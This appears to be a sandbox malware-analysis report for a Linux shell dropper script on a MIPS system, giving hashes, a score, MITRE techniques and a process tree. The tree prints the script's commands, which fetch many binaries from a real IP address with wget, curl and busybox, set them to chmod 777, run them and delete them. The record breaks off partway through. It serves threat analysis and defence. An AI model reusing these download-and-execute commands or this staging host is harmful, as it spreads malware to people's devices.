9652b3536ccbb75a3903fb68652b2dcaa59a43553361cb914447c1c250e7aea2

Analysis

max time kernel
74s
max time network
76s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
21-11-2024 07:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9652b3536ccbb75a3903fb68652b2dcaa59a43553361cb914447c1c250e7aea2.sh
Size

10KB
MD5

a1defdb85efc4f43f3026f633f9d8642
SHA1

50c5a077d2f6661aae89e985d3ed38d1c6678db1
SHA256

9652b3536ccbb75a3903fb68652b2dcaa59a43553361cb914447c1c250e7aea2
SHA512

ccce629290ff01417dcfcaa9313b1d4fe996f2d0131a5e211a0d9b41c81883bc0aced8f92fce2e96cc8216fcd2be2d5c1703f77c54706880e444a2bbe868b459
SSDEEP

192:hhYH7jooSYSyovzbEXvHC+OU1RZEEhWsRH7jooECSyovzkXvHC+V1RZEEs:Pp1tOo

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	process
972	chmod
978	chmod
861	chmod
882	chmod
906	chmod
984	chmod
819	chmod
867	chmod
966	chmod
912	chmod
924	chmod
888	chmod
900	chmod
936	chmod
948	chmod
990	chmod
806	chmod
840	chmod
750	chmod
756	chmod
942	chmod
954	chmod
773	chmod
894	chmod
930	chmod
960	chmod
876	chmod
918	chmod

Executes dropped EXE 28 IoCs

Processes:

tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoee8NickSVHHGc0CKiNoIeQQeLHFwsfykCoztEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9NeEfuuLaOesxwARQirEHUr8hwbo6uUPtCmWoUgB7802yL8EGGk7pLs8LQPIEsBTddncmWwnZK2byWknzW1gXWixRxIyczawUsL7rR9c8zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZUqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdOJXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ7xcf066zx6JjlSH0geP2dCyq8I4938BMoGxlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4aGHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4acayWFU8o0VGt74yfWT1bYNSzBkMqiwstoetQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Nee8NickSVHHGc0CKiNoIeQQeLHFwsfykCozJXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ7xcf066zx6JjlSH0geP2dCyq8I4938BMoGEfuuLaOesxwARQirEHUr8hwbo6uUPtCmWoUgB7802yL8EGGk7pLs8LQPIEsBTddncmWwnZK2byWknzW1gXWixRxIyczawUsL7rR9c8zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZUqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for modification	/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0	curl
File opened for modification	/tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe	curl
File opened for modification	/tmp/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc	curl
File opened for modification	/tmp/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6	curl
File opened for modification	/tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe	curl
File opened for modification	/tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne	curl
File opened for modification	/tmp/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ	curl
File opened for modification	/tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz	curl
File opened for modification	/tmp/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ	curl
File opened for modification	/tmp/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO	curl
File opened for modification	/tmp/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6	curl
File opened for modification	/tmp/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a	curl
File opened for modification	/tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0	curl
File opened for modification	/tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz	curl
File opened for modification	/tmp/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw	curl
File opened for modification	/tmp/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo	curl
File opened for modification	/tmp/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ	curl
File opened for modification	/tmp/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8	curl
File opened for modification	/tmp/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ	curl
File opened for modification	/tmp/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a	curl
File opened for modification	/tmp/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc	curl
File opened for modification	/tmp/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8	curl
File opened for modification	/tmp/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG	curl
File opened for modification	/tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne	curl
File opened for modification	/tmp/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO	curl
File opened for modification	/tmp/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo	curl
File opened for modification	/tmp/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw	curl
File opened for modification	/tmp/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG	curl

/tmp/9652b3536ccbb75a3903fb68652b2dcaa59a43553361cb914447c1c250e7aea2.sh
/tmp/9652b3536ccbb75a3903fb68652b2dcaa59a43553361cb914447c1c250e7aea2.sh
1⤵
PID:720
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:723
- /usr/bin/wget
  wget http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  PID:729
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  PID:747
- /bin/chmod
  chmod 777 tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  ./tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:755
- /bin/chmod
  chmod 777 cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  ./cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:758
- /usr/bin/wget
  wget http://216.126.231.240/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:768
- /bin/chmod
  chmod 777 e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  ./e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:778
- /usr/bin/wget
  wget http://216.126.231.240/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:797
- /bin/chmod
  chmod 777 tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  ./tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:810
- /usr/bin/wget
  wget http://216.126.231.240/bins/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  PID:818
- /bin/chmod
  chmod 777 EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  ./EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm EfuuLaOesxwARQirEHUr8hwbo6uUPtCmWo
  2⤵
  PID:821
- /usr/bin/wget
  wget http://216.126.231.240/bins/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  PID:834
- /bin/chmod
  chmod 777 UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  ./UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm UgB7802yL8EGGk7pLs8LQPIEsBTddncmWw
  2⤵
  PID:845
- /usr/bin/wget
  wget http://216.126.231.240/bins/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  PID:860
- /bin/chmod
  chmod 777 nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  ./nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm nZK2byWknzW1gXWixRxIyczawUsL7rR9c8
  2⤵
  PID:863
- /usr/bin/wget
  wget http://216.126.231.240/bins/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  PID:866
- /bin/chmod
  chmod 777 zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  ./zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm zc4ow6JwkvxTlhTcvjPZwVGFRCJaJz9aOZ
  2⤵
  PID:869
- /usr/bin/wget
  wget http://216.126.231.240/bins/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  PID:875
- /bin/chmod
  chmod 777 UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  ./UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm UqErvkbtf2B3Udw2Pr1NVBYkh4u6biAJdO
  2⤵
  PID:878
- /usr/bin/wget
  wget http://216.126.231.240/bins/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  PID:881
- /bin/chmod
  chmod 777 JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  ./JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  PID:884
- /usr/bin/wget
  wget http://216.126.231.240/bins/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  PID:887
- /bin/chmod
  chmod 777 7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  ./7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm 7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  PID:890
- /usr/bin/wget
  wget http://216.126.231.240/bins/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  PID:893
- /bin/chmod
  chmod 777 xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  ./xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  PID:896
- /usr/bin/wget
  wget http://216.126.231.240/bins/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  PID:899
- /bin/chmod
  chmod 777 0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  ./0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm 0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  PID:902
- /usr/bin/wget
  wget http://216.126.231.240/bins/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  PID:905
- /bin/chmod
  chmod 777 GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  ./GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  PID:908
- /usr/bin/wget
  wget http://216.126.231.240/bins/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  PID:911
- /bin/chmod
  chmod 777 GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  ./GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm GHQSvRRZzQr32t14ob6SuBv7PTAiUJ9WG6
  2⤵
  PID:914
- /usr/bin/wget
  wget http://216.126.231.240/bins/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  PID:917
- /bin/chmod
  chmod 777 xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  ./xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm xlOEgUGoV15TQ9EiGYZUQSm5Hd3OFVUenc
  2⤵
  PID:920
- /usr/bin/wget
  wget http://216.126.231.240/bins/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  PID:923
- /bin/chmod
  chmod 777 0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  ./0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm 0rvlShXKQQQwCW6h4WmFONt0VcxySU1H4a
  2⤵
  PID:926
- /usr/bin/wget
  wget http://216.126.231.240/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:929
- /bin/chmod
  chmod 777 cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  ./cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
  2⤵
  PID:932
- /usr/bin/wget
  wget http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  PID:935
- /bin/chmod
  chmod 777 tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  ./tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
  2⤵
  PID:938
- /usr/bin/wget
  wget http://216.126.231.240/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:941
- /bin/chmod
  chmod 777 tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  ./tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm tEAbDYpBZcwW2GewFLpWgQfUJR1X3SK9Ne
  2⤵
  PID:944
- /usr/bin/wget
  wget http://216.126.231.240/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:947
- /bin/chmod
  chmod 777 e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  ./e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm e8NickSVHHGc0CKiNoIeQQeLHFwsfykCoz
  2⤵
  PID:950
- /usr/bin/wget
  wget http://216.126.231.240/bins/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  PID:953
- /bin/chmod
  chmod 777 JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  ./JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm JXEnQ78yLWq2lqymnaci1mhgX8TrGOAUPQ
  2⤵
  PID:956
- /usr/bin/wget
  wget http://216.126.231.240/bins/7xcf066zx6JjlSH0geP2dCyq8I4938BMoG
  2⤵
  PID:957
- /usr/bin/curl
